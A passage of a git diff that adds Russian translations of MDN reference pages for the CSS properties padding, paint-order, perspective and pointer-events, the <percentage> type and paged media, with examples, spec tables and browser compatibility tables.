+ <li><strong>Одно</strong> значение применяется ко всем четырем сторонам</li>
+ <li><strong>Два</strong> значения применяются: <strong>1.</strong> <em>верхняя и нижняя</em> и <strong>2.</strong> <em>левая и правая</em> стороны</li>
+ <li><strong>Три</strong> значения применяются: <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>левая и правая</em> и <strong>3.</strong> <em>нижняя</em> стороны</li>
+ <li><strong>Четыре</strong> значения применяются<strong>:</strong> <strong>1.</strong> <em>верхняя</em>, <strong>2.</strong> <em>правая</em>, <strong>3.</strong> <em>нижняя</em> и <strong>4.</strong> <em>левая</em> стороны</li>
+</ul>
+
+<h3 id="Формальное_описание_синтаксиса">Формальное описание синтаксиса</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: css"> padding: 5%;                /*  со всех сторон отступ 5% */
+</pre>
+
+<pre class="brush: css"> padding: 10px;              /*  со всех сторон отступ 10px */
+</pre>
+
+<pre class="brush: css"> padding: 10px 20px;         /*  сверху и снизу отступ 10px */
+                             /*  слева и справа отступ 20px */
+</pre>
+
+<pre class="brush: css"> padding: 10px 3% 20px;      /*  сверху отступ 10px       */
+                             /*  слева и справа отступ 3% */
+                             /*  снизу отступ 20px        */
+</pre>
+
+<pre class="brush: css"> padding: 1em 3px 30px 5px;  /*  сверху отступ 1em   */
+                             /*  справа отступ 3px   */
+                             /*  снизу отступ 30px   */
+                             /*  слева отступ 5px    */
+</pre>
+
+<p style="padding: 5% 1em; border: outset currentColor;">border:outset; padding:5% 1em;</p>
+
+<h2 id="Live_Sample" name="Live_Sample">Рабочий пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h4&gt;Hello world!&lt;/h4&gt;
+&lt;h3&gt;The padding is different in this line.&lt;/h3&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">h4{
+  background-color: green;
+  padding: 50px 20px 20px 50px;
+}
+
+h3{
+  background-color: blue;
+  padding: 400px 50px 50px 400px;
+}
+</pre>
+
+<p>{{ LiveSampleLink('Live_Sample', 'Live Sample Link') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Состояние</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box', '#the-padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS3 Box') }}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'box.html#propdef-padding', 'padding-top') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{ Specname('CSS1', '#padding', 'padding') }}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.padding")}}</p>
+
+<div id="compat-desktop"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="internal" href="/en/CSS/box_model" title="en/CSS/box model">CSS Box Model</a></li>
+</ul>
diff --git a/files/ru/web/css/paged_media/index.html b/files/ru/web/css/paged_media/index.html
new file mode 100644
index 0000000000..e0f263426e
--- /dev/null
+++ b/files/ru/web/css/paged_media/index.html
@@ -0,0 +1,22 @@
+---
+title: Постраничные носители
+slug: Web/CSS/Paged_Media
+tags:
+  - CSS
+  - Руководство
+  - разрыв страницы
+  - справочник
+translation_of: Web/CSS/Paged_Media
+---
+<div>{{cssref}}</div>
+
+<p>Свойства <strong>Постраничных носителей</strong> (<strong>Paged media</strong>) контролируют представление содержимого страницы для принтера или любого другого носителя, который делает разбивку контента на отдельные страницы. Это позволяет установить разрыв страницы, контролировать область печати, назначить разные стили для левой и правой страниц, контролировать разрывы внутри элементов. Перечень широко поддерживаемых свойств:</p>
+
+<ul>
+ <li>{{ cssxref("page-break-before") }}</li>
+ <li>{{ cssxref("page-break-after") }}</li>
+ <li>{{ cssxref("page-break-inside") }}</li>
+ <li>{{ cssxref("orphans") }}</li>
+ <li>{{ cssxref("widows") }}</li>
+ <li>{{ cssxref("@page") }}</li>
+</ul>
diff --git a/files/ru/web/css/paint-order/index.html b/files/ru/web/css/paint-order/index.html
new file mode 100644
index 0000000000..0092fcf06d
--- /dev/null
+++ b/files/ru/web/css/paint-order/index.html
@@ -0,0 +1,104 @@
+---
+title: paint-order
+slug: Web/CSS/paint-order
+tags:
+  - окраска
+  - отрисовка
+  - порядок окраски
+translation_of: Web/CSS/paint-order
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a>-свойство <strong><code>paint-order</code></strong> позволяет вам контролировать порядок, в котором отрисовываются заливка и обводка (и нарисованные маркеры) текстового содержимого и фигур.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers">/* Нормальный */
+paint-order: normal;
+
+/* Единичное значение */
+paint-order: stroke; /* отрисовывает сначала обводку, затем заливку и маркеры */
+paint-order: markers; /* отрисовывает сначала маркеры, затем заливку и обводку */
+
+/* Множественные значения */
+paint-order: stroke fill; /* отрисовывает сначала обводку, затем заливку, затем маркеры */
+paint-order: markers stroke fill; /* отрисовывает маркеры, затем обводку, затем заливку */
+</pre>
+
+<p>Если значение не указано, значением по умолчанию является следующий порядок  <code>fill</code>, <code>stroke</code>, <code>markers</code>.</p>
+
+<p>Когда указано одно значение, то сначала отрисовывается оно, затем два других в дефолтном поряд друг относительно друга. Когда указано два значения, они будут отрисованы в указанном порядке, а затем будет отрисовано неопределенное значение.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: В этом случае, маркеры отрисовываются только при рисовании форм SVG. включающих использование свойств <code>marker-*</code>  (например <code><a href="/en-US/docs/Web/SVG/Attribute/marker-start">marker-start</a></code>) и элемента <code><a href="/en-US/docs/Web/SVG/Element/marker">&lt;marker&gt;</a></code>. Они не применяются к тексту HTML, в этом случае, вы можете определить только порядок <code>stroke</code> и <code>fill</code>.</p>
+</div>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Окрасит различные части в обычном порядке.</dd>
+ <dt><code>stroke</code>,<br>
+ <code>fill</code>,<br>
+ <code>markers</code></dt>
+ <dd>Указываются некоторые или все эти значения в том порядке, в котором вы хотите увидеть отрисовку.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="SVG">SVG</h3>
+
+<pre class="brush: html">&lt;svg xmlns="http://www.w3.org/2000/svg" width="400" height="200"&gt;
+  &lt;text x="10" y="75"&gt;stroke in front&lt;/text&gt;
+  &lt;text x="10" y="150" class="stroke-behind"&gt;stroke behind&lt;/text&gt;
+&lt;/svg&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">text {
+  font-family: sans-serif;
+  font-size: 50px;
+  font-weight: bold;
+  fill: black;
+  stroke: red;
+  stroke-width: 4px;
+}
+
+.stroke-behind {
+  paint-order: stroke fill;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Examples", "100%", 165)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("SVG2", "painting.html#PaintOrder", "paint-order")}}</td>
+   <td>{{Spec2("SVG2")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.properties.paint-order")}}</p>
diff --git a/files/ru/web/css/percentage/index.html b/files/ru/web/css/percentage/index.html
new file mode 100644
index 0000000000..fa0bde6686
--- /dev/null
+++ b/files/ru/web/css/percentage/index.html
@@ -0,0 +1,89 @@
+---
+title: <percentage>
+slug: Web/CSS/percentage
+translation_of: Web/CSS/percentage
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ru/docs/Web/CSS">CSS</a> <a href="/ru/docs/Web/CSS/CSS_Types">тип данных</a> <strong><code>&lt;percentage&gt;</code></strong> представляет значение в процентах. Оно часто используется, чтобы определить размер относительно родительского элемента. Проценты используются в различных свойствах, таких как {{Cssxref("width")}}, {{Cssxref("height")}}, {{Cssxref("margin")}}, {{Cssxref("padding")}}, и {{Cssxref("font-size")}}.</p>
+
+<div class="note"><strong>Обратите внимание:</strong> Наследуются рассчитанные значения. Таким образом, даже если процентное значение используется на родительском элементе, настоящее значение (такое, как пиксели для типа данных {{cssxref("&lt;length&gt;")}}) будет доступно в унаследованном свойстве, а не значение в процентах.</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;percentage&gt;</code> состоит из {{cssxref("&lt;number&gt;")}}, за которым следует знак процента (<code>%</code>). Так же впереди может стоять знак <code>+</code> или <code>-</code>, хотя отрицательные значения допустимы не во всех свойствах. Как и у всех единиц измерения CSS между символом процента и числом нет пробельного символа.</p>
+
+<h2 id="Интерполяция">Интерполяция</h2>
+
+<p>При анимировании значения типа данных <code>&lt;percentage&gt;</code> интерполируются как настоящие числа с плавающей запятой. Скорость интерполяции зависит от функции времени, с которой используется анимация.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Ширина_и_левый_отступ">Ширина и левый отступ</h3>
+
+<pre class="brush: html">&lt;div style="background-color:blue;"&gt;
+  &lt;div style="width:50%; margin-left:20%; background-color:lime;"&gt;
+    Width: 50%, Left margin: 20%
+  &lt;/div&gt;
+  &lt;div style="width:30%; margin-left:60%; background-color:pink;"&gt;
+    Width: 30%, Left margin: 60%
+  &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>HTML код выше будет выглядеть так:</p>
+
+<p>{{EmbedLiveSample('Ширина_и_левый_отступ', '600', 140)}}</p>
+
+<h3 id="Размер_шрифта">Размер шрифта</h3>
+
+<pre class="brush: html">&lt;div style="font-size:18px;"&gt;
+  &lt;p&gt;Full-size text (18px)&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:50%;"&gt;50%&lt;/span&gt;&lt;/p&gt;
+  &lt;p&gt;&lt;span style="font-size:200%;"&gt;200%&lt;/span&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>HTML код выше будет выглядеть так:</p>
+
+<p>{{EmbedLiveSample('Размер_шрифта', 'auto', 160)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td>Нет значительных изменений.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#percentages', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Нет значительных изменений после CSS Уровня 2 (ревизия 1).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Не изменено с CSS Уровень 1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#percentage-units', '&lt;percentage&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("css.types.percentage")}}</p>
diff --git a/files/ru/web/css/perspective/index.html b/files/ru/web/css/perspective/index.html
new file mode 100644
index 0000000000..f0cd21e705
--- /dev/null
+++ b/files/ru/web/css/perspective/index.html
@@ -0,0 +1,284 @@
+---
+title: perspective
+slug: Web/CSS/perspective
+translation_of: Web/CSS/perspective
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <a href="/en/CSS" title="CSS">CSS</a> <strong><code>perspective </code></strong><code>определяет расcтояние между плоскостью z = 0 и пользователем для того чтобы придать 3D-позиционируемому элементу эффект переспективы. Каждый трансформируемый элемент с z &gt; 0 станет больше, с z &lt; 0 соответственно меньше.</code></p>
+
+<p>Элементы части которые находятся за пользователем, т.е. z-координата этих элементов больше чем значение  свойства <code>perspective, не отрисовываются.</code></p>
+
+<p><em><code>Точка схождения </code></em><code>по-умолчанию расположена в центре элемента, но её можно переместить используя свойство </code>{{ cssxref("perspective-origin") }}.</p>
+
+<p>При использовании данного свойства со значениями отличными от 0 или none создается новый <a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">stacking context</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: css">/* Keyword value */
+perspective: none;
+
+/* Значения &lt;length&gt; */
+perspective: 20px;
+perspective: 3.5em;
+
+/* Глобальные значения */
+perspective: inherit;
+perspective: initial;
+perspective: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd><font face="Consolas, Liberation Mono, Courier, monospace">Указывает что трасформация перспективы к элементу применяться не будет.</font></dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>{{cssxref("&lt;length&gt;")}} у<code>станавливает растояние от пользователя до плоскости z = 0. Применяет трасформацию к элементу и его содержимому. Если значение отрицательно или равно 0, то преобразование не применяется.</code></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Three_cubes" name="Three_cubes">Три куба</h3>
+
+<h4 id="HTML_Content">HTML Content</h4>
+
+<pre class="brush: html">&lt;table&gt;
+   &lt;tbody&gt;
+      &lt;tr&gt;
+         &lt;th&gt;&lt;code&gt;perspective: 250px;&lt;/code&gt;
+         &lt;/th&gt;
+         &lt;th&gt;&lt;code&gt;perspective: 350px;&lt;/code&gt;
+         &lt;/th&gt;
+         &lt;th&gt;&lt;code&gt;perspective: 500px;&lt;/code&gt;
+         &lt;/th&gt;
+      &lt;/tr&gt;
+      &lt;tr&gt;
+         &lt;td&gt;
+            &lt;div class="container"&gt;
+               &lt;div class="cube pers250"&gt;
+                  &lt;div class="face front"&gt;1&lt;/div&gt;
+                  &lt;div class="face back"&gt;2&lt;/div&gt;
+                  &lt;div class="face right"&gt;3&lt;/div&gt;
+                  &lt;div class="face left"&gt;4&lt;/div&gt;
+                  &lt;div class="face top"&gt;5&lt;/div&gt;
+                  &lt;div class="face bottom"&gt;6&lt;/div&gt;
+               &lt;/div&gt;
+            &lt;/div&gt;
+         &lt;/td&gt;
+         &lt;td&gt;
+            &lt;div class="container"&gt;
+               &lt;div class="cube pers350"&gt;
+                  &lt;div class="face front"&gt;1&lt;/div&gt;
+                  &lt;div class="face back"&gt;2&lt;/div&gt;
+                  &lt;div class="face right"&gt;3&lt;/div&gt;
+                  &lt;div class="face left"&gt;4&lt;/div&gt;
+                  &lt;div class="face top"&gt;5&lt;/div&gt;
+                  &lt;div class="face bottom"&gt;6&lt;/div&gt;
+               &lt;/div&gt;
+            &lt;/div&gt;
+         &lt;/td&gt;
+         &lt;td&gt;
+            &lt;div class="container"&gt;
+               &lt;div class="cube pers500"&gt;
+                  &lt;div class="face front"&gt;1&lt;/div&gt;
+                  &lt;div class="face back"&gt;2&lt;/div&gt;
+                  &lt;div class="face right"&gt;3&lt;/div&gt;
+                  &lt;div class="face left"&gt;4&lt;/div&gt;
+                  &lt;div class="face top"&gt;5&lt;/div&gt;
+                  &lt;div class="face bottom"&gt;6&lt;/div&gt;
+               &lt;/div&gt;
+            &lt;/div&gt;
+         &lt;/td&gt;
+      &lt;/tr&gt;
+   &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<h4 id="CSS_Content">CSS Content</h4>
+
+<pre class="brush: css">/* Короткие классы для различных значений perspective */
+.pers250 {
+    perspective: 250px;
+    -webkit-perspective: 250px;
+}
+.pers350 {
+    perspective: 350px;
+    -webkit-perspective: 350px;
+}
+.pers500 {
+    perspective: 500px;
+    -webkit-perspective: 500px;
+}
+
+/* Определяем div.container, div.cube, и свойства граней куба */
+ .container {
+   width: 200px;
+   height: 200px;
+   margin: 75px 0 0 75px;
+   border: none;
+}
+.cube {
+   width: 100%;
+   height: 100%;
+   backface-visibility: visible;
+   perspective-origin: 150% 150%;
+   transform-style: preserve-3d;
+   -webkit-backface-visibility: visible;
+   -webkit-perspective-origin: 150% 150%;
+   -webkit-transform-style: preserve-3d;
+}
+.face {
+   display: block;
+   position: absolute;
+   width: 100px;
+   height: 100px;
+   border: none;
+   line-height: 100px;
+   font-family: sans-serif;
+   font-size: 60px;
+   color: white;
+   text-align: center;
+}
+
+/* Определяем каждую грань в зависимости от направления */
+ .front {
+   background: rgba(0, 0, 0, 0.3);
+   transform: translateZ(50px);
+   -webkit-transform: translateZ(50px);
+}
+.back {
+   background: rgba(0, 255, 0, 1);
+   color: black;
+   transform: rotateY(180deg) translateZ(50px);
+   -webkit-transform: rotateY(180deg) translateZ(50px);
+}
+.right {
+   background: rgba(196, 0, 0, 0.7);
+   transform: rotateY(90deg) translateZ(50px);
+   -webkit-transform: rotateY(90deg) translateZ(50px);
+}
+.left {
+   background: rgba(0, 0, 196, 0.7);
+   transform: rotateY(-90deg) translateZ(50px);
+   -webkit-transform: rotateY(-90deg) translateZ(50px);
+}
+.top {
+   background: rgba(196, 196, 0, 0.7);
+   transform: rotateX(90deg) translateZ(50px);
+   -webkit-transform: rotateX(90deg) translateZ(50px)
+}
+.bottom {
+   background: rgba(196, 0, 196, 0.7);
+   transform: rotateX(-90deg) translateZ(50px);
+   -webkit-transform: rotateX(-90deg) translateZ(50px);
+}
+
+/* Делаем таблицу немного лучше */
+th, p, td {
+   background-color: #EEEEEE;
+   padding: 10px;
+   font-family: sans-serif;
+   text-align: left;
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Three_cubes', 940, 460) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ Specname('CSS3 Transforms', '#perspective', 'perspective') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>
+    <p>12{{ property_prefix('-webkit') }}{{ CompatGeckoDesktop("10") }}<br>
+     45</p>
+   </td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>
+    <p>{{ CompatGeckoDesktop("10") }}{{ property_prefix('-moz') }}<br>
+     {{ CompatGeckoDesktop("16") }}<sup>[1]</sup></p>
+   </td>
+   <td>10</td>
+   <td>15{{ property_prefix('-webkit') }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>3.0{{ property_prefix('-webkit') }}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("10") }}{{ property_prefix('-moz') }}<br>
+    {{ CompatGeckoMobile("16") }}<sup>[1]</sup></td>
+   <td>8.1</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix('-webkit') }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] In addition to the unprefixed support, Gecko 45.0 {{geckoRelease("45.0")}} added support for a <code>-webkit</code> prefixed version of the property for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_transforms" title="/en-US/docs/CSS/Using_CSS_transforms">Using CSS Transforms</a></li>
+</ul>
diff --git a/files/ru/web/css/pointer-events/index.html b/files/ru/web/css/pointer-events/index.html
new file mode 100644
index 0000000000..99f9b27a87
--- /dev/null
+++ b/files/ru/web/css/pointer-events/index.html
@@ -0,0 +1,189 @@
+---
+title: pointer-events
+slug: Web/CSS/pointer-events
+tags:
+  - CSS свойства
+  - Ссылка
+translation_of: Web/CSS/pointer-events
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS свойство<strong> <code>pointer-events</code></strong> позволяет контролировать события, при которых элемент может стать объектом события мыши. Если это свойство не задано, то к содержимому SVG будут применяться характеристики значения <code>visiblePainted.</code></p>
+
+<p>Вдобавок к указанию того, что элемент не является объектом события мыши, значение <code>none</code> сообщает событию мыши проходить "через" элемент и обращаться к элементу, находящемуся "под" ним.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Значения ключевых слов */
+pointer-events: auto;
+pointer-events: none;
+pointer-events: visiblePainted; /* только SVG */
+pointer-events: visibleFill;    /* только SVG */
+pointer-events: visibleStroke;  /* только SVG */
+pointer-events: visible;        /* только SVG */
+pointer-events: painted;        /* только SVG */
+pointer-events: fill;           /* только SVG */
+pointer-events: stroke;         /* только SVG */
+pointer-events: all;            /* только SVG */
+
+/* Глобальные значения */
+pointer-events: inherit;
+pointer-events: initial;
+pointer-events: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Элемент ведёт себя так же, как и если бы свойство <code>pointer-events</code> не было задано. В SVG это значение даёт такой же эффект, как и значение <code>visiblePainted</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>Элемент не может быть целью (<a href="/ru/docs/Web/API/event/target">target</a>) cобытий мыши; тем не менее, целью событий мыши могут быть его потомки, если их <code>pointer-events</code> имеет какое-либо другое значение. В этом случае события мыши вызовут ожидаемое срабатывание обработчиков на этом родительском элементе на пути к/от потомк(у)/(а) во время фазы захвата/<a href="/ru/docs/Web/API/event/bubbles">всплытия</a><code>.</code></dd>
+ <dt><code>visiblePainted</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда свойство <code>visibility</code> установлено в значение <code>visible</code> и когда курсор мыши находится над внутренней частью ('fill') элемента, при этом свойство <code>fill</code> установлено в значение отличное от <code>none</code>, или над периметром элемента ('stroke'), при этом свойство <code>stroke</code> установлено в значение отличное от <code>none</code>.</dd>
+ <dt><code>visibleFill</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда свойство <code>visibility</code> установлено в значение <code>visible</code> и когда курсор мыши находится над внутренней частью ('fill') элемента. Значение свойства <code>fill</code> не влияет на обработку события.</dd>
+ <dt><code>visibleStroke</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда свойство <code>visibility</code> установлено в значение <code>visible</code> и когда курсор мыши находится над периметром элемента ('stroke'). Значение свойства <code>stroke</code> не влияет на обработку события.</dd>
+ <dt><code>visible</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда свойство <code>visibility</code> установлено в значение <code>visible</code> и когда курсор мыши находится над внутренней частью ('fill') или над периметром ('stroke') элемента. Значение свойств <code>fill</code> и <code>stroke</code> не влияют на обработку события.</dd>
+ <dt><code>painted</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') элемента, при этом свойство <code>fill</code> установлено в значение отличное от <code>none</code>, или над периметром элемента ('stroke'), при этом свойство <code>stroke</code> установлено в значение отличное от <code>none</code>. Значение свойства <code>visibility</code> не влияет на обработку события.</dd>
+ <dt><code>fill</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') элемента. Значение свойств <code>visibility</code> и <code>fill</code> не влияют на обработку события.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над периметром элемента ('stroke'). Значение свойств <code>visibility</code> и <code>stroke</code> не влияют на обработку события.</dd>
+ <dt><code>all</code></dt>
+ <dd>Только SVG. Элемент может быть целью события мыши только когда курсор мыши находится над внутренней частью ('fill') или над периметром ('stroke') элемента. Значение свойств <code>visibility</code>, <code>fill</code> и <code>stroke</code> не влияют на обработку события.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1">Пример 1</h3>
+
+<pre class="brush:css">/* Пример 1: Сделать так, что бы все объекты img не реагировали на перетаскивание, наведение(:hover), нажатие(click) и т.д. */
+img {
+  pointer-events: none;
+}</pre>
+
+<h3 id="Example_2" name="Example_2">Пример 2</h3>
+
+<p>Сделать ссылку на ресурс http://example.com не реагирующей на нажатие(click), наведение(:hover) и т.д.</p>
+
+<pre class="brush:html">&lt;ul&gt;
+  &lt;li&gt;&lt;a href="https://developer.mozilla.org"&gt;MDN&lt;/a&gt;&lt;/li&gt;
+  &lt;li&gt;&lt;a href="http://example.com"&gt;example.com&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<pre class="brush:css">a[href="http://example.com"] {
+  pointer-events: none;
+}</pre>
+
+<div>{{EmbedLiveSample('Example_2', "500", "100")}}</div>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Обратите внимание, что предотвращение того, чтобы элемент был объектом событий мыши,  с помощью <code>pointer-events</code> не обязательно означает, что прослушиватели событий мыши на этом элементе не могут или не будут запускаться. Если у одного из  дочерних элементов есть явные <code>pointer-events,</code> позволяющие этому ребенку быть объектом событий мыши, тогда любые события, нацеленные на этого дочернего элемента, будут проходить через родителя, когда событие перемещается вдоль родительской цепочки и запускает прослушиватели событий на родительском объекте. Конечно, любая активность мыши в точке на экране, которая покрывается родителем, но не дочерним, не будет поймана ни ребенком, ни родителем (он пройдет через «родительский» на «цели» под ним).</p>
+
+<p>Мы хотели бы предоставить более тонкий контроль (а не только <code>auto</code> и <code>none</code>) в HTML, когда части элемента смогут «поймать» события мыши. Если у вас есть какие-то конкретные вещи, чтобы помочь нам в решении как следует расширить <code>pointer-events</code> для HTML, и которые вы хотели бы сделать с этим свойством, добавьте их в раздел «Использовать случаи» на <a class="link-https" href="https://wiki.mozilla.org/SVG:pointer-events">этой странице вики</a> (не беспокойтесь, мы всё сохраним аккуратно). </p>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'interact.html#PointerEventsProperty', 'pointer-events')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Это расширение для элементов HTML, хоть и присутствует в ранних версиях CSS Basic User Module Interface Level 3, было перенесено на <a class="external" href="http://wiki.csswg.org/spec/css4-ui#pointer-events">level 4</a>.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость браузера</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>SVG support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>11.0</td>
+   <td>9.0 (2.0)</td>
